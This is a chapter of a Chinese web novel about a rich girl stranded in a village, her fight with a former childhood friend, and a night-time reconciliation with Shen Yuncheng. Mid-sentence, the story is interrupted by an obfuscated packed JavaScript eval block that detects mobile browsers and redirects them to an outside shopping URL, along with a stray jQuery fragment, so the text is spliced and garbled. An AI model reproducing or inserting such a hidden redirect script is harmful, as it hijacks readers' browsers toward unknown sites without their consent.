主路与泥田的落差足有成年人的小腿这么高,孟泽葵直直被撞落。
她看见汪春有丢下电动车往这边跑过来,童乐伸出手,翟诗瑶和占旭东愣在电动车上,丁曼捂住嘴。
耀眼的阳光逼得孟泽葵闭上眼睛。
一切都被定格成无声的默片,短短几秒内,她一点声音也听不见,也毫无感知。
她坠落到泥地上,茫然四顾。
很快,所有知觉回笼。
她的手指触摸到干硬的土地,指甲缝里挤进了冷硬的泥巴。
沟渠里冰凉的流水侵透半条腿的连衣裙,半个屁股被撞硌得发痛。
小野惊恐的哭喊声如同潮水瞬间涌进孟泽葵的鼓膜,“哥哥!哥哥!你没事吧?”
“你们这些坏人,怎么骑车的?”
“眼睛瞎了!欺负我哥!”
沈云程原本好端端地站在孟泽葵旁边,电动车倒下并不会连累到他,但没想到孟泽葵被撞翻的时候,伸手朝他一拉。
等沈云程两眼一睁,孟泽葵半个身子已经坐在他腰腿上,身子重量沉了不少。
失水的泥巴又干又硬,顶着沈云程的后腰,他单肘往后支着坐起来点才好受点。
他要去推孟泽葵,让她站起来,孟泽葵微拧着眉,失神地望着他。
全然有种“我怎么会在这里,发生这种事”的恍惚感。
正好这时候舅婆和舅公丢了镰刀,快步把他们扶起来,一直诶呀不停,“怎么这么不小心,这么高摔下来,要不要紧?”
孟泽葵紧抿着唇,沉默不语。
沈云程白色外套沾了不少泥灰,整个人温和的气质减退,垂落的睫毛下一片阴郁。
他扫到孟泽葵湿漉漉的腿,洇湿的淡绿色雪纺紧贴着身体,凸显出臀部的曲线轮廓。
沈云程蹙起眉,飞快地脱下外套,给孟泽葵系在腰间。
小野吵闹的哭声,汪春有和翟诗瑶叽叽喳喳地问她,燥热炫目的阳光,都让孟泽葵回过神。
积郁许久的愤怒,烦躁和委屈一触即发。
“不准哭!”孟泽葵低喝。
她这一声实在是有千钧之力的气势,小野戛然而止,面上淌着泪。
汪春有和翟诗瑶心有余悸地互相看看,然后很有默契地把目光放在童乐和丁曼身上。
“拉我上去。”孟泽葵又说。
她说的话很有魔力,小野乖乖照做,把她从田里拉上来。
孟泽葵狼狈不堪,衣裙淌着泥水,头发上也沾染杂草。一上岸,黑沉沉的眼眸锁着童乐,满是恨意。
就在大半个月前,他们还是亲如手足、知根知底,一起成长的伙伴。
自己虽然没有亲手推孟泽葵下去,却也因他而起。
童乐心情复杂,细细咂摸下,还有一股极淡的令他激动又陌生的心绪,但很快被强烈的内疚盖过。
童乐瞥开她的视线。
丁曼上前半步,紧张又卑微地说:“不好意思,孟泽葵,我……”
她的卑微引起其他人的爱怜,童乐拦住她,“事情都是因为我,和你无关。”
孟泽葵将他们的小动作一览无余地收入眼中
童乐对上她的眼眸,“要怪就怪我好了。”
听上去毫无真诚之意,无意义火上浇油。
孟泽葵的怒意已经达到顶峰,吐出几个字“怪你?”
她一边朝着童乐走过去,一边说,“当然是要怪你的。”
话音刚落,就抬起脚,重重地往童乐身上踹,把他从主路上踹了出去。
足以可见有多用力,以及迅速。
丁曼慌乱尖叫,要去抓童乐的手,但她力气小,直接被拉进沟里。
岸上一片嘈杂,占旭东伸长脖子,犹豫不定要不要下去捞人。
孟泽葵立在主路边缘,瞪着他:“我看谁敢帮忙。”
占旭东摸了摸鼻子,老实了。
童乐在凹凸不平的地里滚了一圈,支起上半身仰望着她。
孟泽葵冷漠地骂他:“恶心的东西,给你脸了。”
她环顾四周,其他人或者都畏惧她,或者在看戏,或者隐隐拿目光谴责她,都离她远远的。
舅公舅婆大概是觉得丁曼是自己人,刚才虽然丁曼让孟泽葵掉进沟里,但毕竟是无心之举。
而现在孟泽葵这样撕破脸,实在得理不饶人,闹得难看。
他们不赞成地劝道:“好了好了,这下扯平,不要再闹了。地上脏,快起来。”
孟泽葵感到无比的失落,撂下狠话后,抿着唇,转身就走。
沈云程犹豫许久,没有跟上去。
孟泽葵回了沈家,就把自己关在房里。
沈云程割完稻子回来,烧了晚饭,让小野去敲门,她也没有反应。
倒是晚饭过后,童乐找上门来。
“这里是沈云程家吗?”他问。
那时候沈云程在门后给番薯干喂饭,听到声音,转过身。
两人身上都已经换了干净衣服,一扫尘土。
童乐感受到沈云程的视线,虽然没有乱看,但那种不加掩饰的探究视线,总是让童乐不舒服。
“我是来找孟泽葵的。”他说。
沈云程想了一会儿,面无表情地答非所问:“童乐同学在我们村待了也好多天了,有什么感想吗?”
童乐不悦地皱起眉:“我找她说几句话。”
“觉得我们村不错,还是穷乡僻壤呢?”
“你喊她下来,说完我就走。”
沈云程依旧不疾不徐,“吃的呢?喜欢吗?”
童乐这才正视他,身板挺直,双眼如曜。
两人的目光谁也不让谁。
童乐往沈家的门楣扫了两眼,故意说:“你想从我嘴里听到什么话?自取其辱的话吗?”
沈云程也不恼。
他牵起唇角,露出耐人寻味的一抹浅笑,了然地点点头。
然后转身,继续给番薯干喂饭。
童乐加重了语气,“你不喊她出来的话,那我就不客气,自己进去找了。”
“你是来道歉的话,我劝你还是别费力气。她回来后就没出过房间。”沈云程留给他一个背影,“你为什么会觉得你来道歉,她就得出来?”
“不过……”
“什么?”
沈云程转过身,“你可以向我道歉。难道你觉得不应该吗?”
“我也是因为你受到牵连。”
童乐冷着脸。
沈云程摸了摸番薯干,露出锋芒,“这里不欢迎你,快点走吧。”
他捡起狗狗吃完的空盆,进了屋。
晚上九点,劳累了一天的沈云程终于能躺下休息了。
尽管他的床只是在堂屋里打地铺。
但当他的后背贴上木板的时候,沈云程还是畅然地长舒了一口气。
他闭上眼睛,准备进入梦乡,忽然传来砰铛一声,黑暗中,一张板凳不知道被什么东西绊倒,摔在了他腿上。
沈云程顾不得疼痛,摸到墙上的开关。
灯亮了,孟泽葵正站在离他一米多点的地方。
少女长发不似往常柔顺,乱糟糟地披着,很毛,像是一只被逆毛撸生气的布偶猫。
她的眼眶微红、湿润。
明明是始作俑者,但还是气咻咻地对沈云程发脾气,“你没事摆张凳子在路中间干嘛?”
“故意要害我,是不是?”
她大步流星地走到大门口,打开门,跑入夜色里。
原本好好睡觉的番薯干都懵了,四只肉垫在地板上焦急踱步,一会走向门口,一会儿又看着沈云程。
沈云程弯腰摸着脚背,嗓音疲惫地吩咐,“还不快跟出去看看。”
番薯干听懂了主人的话,四爪腾空,奔了出去。
走在黑夜里的孟泽葵像是一只装满热水的热水壶,心里的蒸汽即将顶开木头塞子。
她在房间里越待越委屈、越难受,压力填满每个呼吸空隙。
她从小被人捧到大,永远都是最干净漂亮的那一个。
什么时候轮落到被人摔进泥土里打滚,丢尽面子!
如果不是童乐,她怎么会出现在青草村!
孟泽葵想哭,又怕被人听见。
她想在没有人的空地上横冲直撞,放纵自己。
可真走在毫无人烟且陌生的路上,孟泽葵又觉得害怕。
这回是真的流泪了。
她不断往回看,嗓音带着哭腔地骂:“死人,臭人。”
“也不知道关心我,追出来看看。”
“大晚上就真放心让我一个人出来?!”
黑洞洞的道路尽头响起任何轻微的风吹草动,都能让孟泽葵害怕得脊背发凉,心里发毛。
她哭着往前跑,脚下忽然被毛茸茸的东西差点绊倒。
但在低头看到是番薯干的时候,那颗悬着的心如履平地。
孟泽葵蹲下/身子,抱着番薯干就是一顿蹂躏,暴风哭泣,“番薯干,还是你好,臭小狗。”
“只有你会出来找我。”
“你的傻主人要是有你一半贴心就好了。”
“孟同学……”孟泽葵听到温和的声音,转过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694343|187876||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脸,被泪水蒙住的视线里出现了沈云程。
他的白衬衫在夜里发着光,眉眼清朗,难得出现一丝疲态。
孟泽葵憋着哭腔,又骂他:“谁让你找过来的?”
“来看我笑话的吧!”
沈云程:……
“那我走了。”他转身就要离开。
孟泽葵抱着番薯干,直接哭了出来,“谁让你走的?你烦不烦!”
沈云程:…..
他轻轻叹了口气,“我就在这里,不走也不过去,总行了吧。”
孟泽葵重重哼了一声。
她直接转过身,蹲在番薯干身边,背对着沈云程,不理他。
临近中秋,满月当空,天地并不是十分昏暗,树木,山峦,池塘,石砖房的轮廓清晰可见。
面对着远山淡影,孟泽葵无声流着泪。
其实她也不知道事情怎么会发展成如今这个面目。
她是年轻女性,无时无刻都与互联网打交道,自然看到过各种关于恋爱,关于学习,关于人生,关于女性的言论。
她刚发现童乐背叛她的时候,她也清楚应该潇洒挥手,体面远离,继续过自己的生活。
可是她的愤怒又该何去何从?
背叛的痛苦如此巨大,伤害如此沉重。
它们客观存在。
伤口每天发炎,每天流出黑红的淤血都提醒着孟泽葵,这是不能忽视的大象。
她厌恶童乐,也厌恶丁曼。
她就是要发泄。
可在发泄过程中,孟泽葵又处处掣肘,狼狈不堪。
大多数人也不理解她为何要如此。
又批判她是大婆教,伤害女性。
为此,孟泽葵也是惶恐不安。在手机上查了又查,自我反思这到底算不算违背了女性主义教条。
结果是她好像违背了。
可让她按照女性主义的教条,与丁曼和平相处,前任和现任共说童乐的坏话,她也做不到。
她讨厌丁曼是真真切切。
除了接受背叛带来的伤害,还要承受违背了女性主义教条的精神拉扯。
孟泽葵很痛苦。
怎么做都是错。
好像受到伤害唯一的解决方式就是体面,潇洒。
愤怒又算什么呢。
不远处的青石上坐着沈云程,他的视线凝固在孟泽葵不断地抽噎,起伏地纤薄后背上。
她靠着番薯干,用手背擦泪一次又一次。
柔韧的眼皮都该擦破了。
草丛里昆虫唧唧,凉爽的晚风送来少女的心事。
沈云程掐着手里的狗尾巴草,眸光暗淡,心境也悠远空洞。
不知道过了多久,孟泽葵的哭声小了下去。
沈云程嗓音柔和地问:“哭好了吗?好了就跟我回去睡觉吧。”
孟泽葵转过一张泪痕斑斑的脸,气冲冲地说:“谁哭了?我没有哭。你和他们一样,觉得我大小姐脾气,也不喜欢我,少来管我。”
说着说着,她又很委屈地滚下眼泪。
沈云程看着她胶原蛋白饱满的脸蛋湿滑水亮,映着月光,唇瓣莹润,目光也放得柔和。
过了很久,他才语气不太自然地说:“我没有不喜欢你。”
“哼,只会嘴上说说。别以为我看不出来,白天你还躲着我。”
“你还不烧饭给我吃,让我厚着脸皮去蹭别人家的饭,你哪里喜欢我?”
蓬松的狗尾巴挠着沈云程的手心,酥酥痒痒地麻了他半个身子。他蹙起眉,沉默许久。
月光也映照着他紧抿的薄唇。
沈云程又问:“那你现在好点了吗?”
孟泽葵冷哼,“现在只想把你们都揍一顿。”
“除了我,还有谁?”
孟泽葵吸了吸鼻子,“我要打的第一个人还轮不到你。”
“是童乐?”沈云程试探着说:“他是你从小到大的朋友,青梅竹马,你现在这么讨厌他吗?”
“岂止是讨厌。”孟泽葵恨恨地说,“他已经不是我的朋友,是他选择背叛了我,我会对这种人还留什么朋友情。”
寂寂黑夜里,沈云程的心脏快速跳动起来,隐隐激动。
他望着孟泽葵饱满水光的侧脸,没想到这个世界上,竟然有人和他讨厌同一个人。
他们分享着同样的心情。
“我现在恨不得剥了他的皮,抽了他的筋。”孟泽葵擦干眼泪,又生出了斗志。
沈云程抬眼,温驯的脸上显露出一丝不合时宜的笑。
他说:“我倒是有个主意。”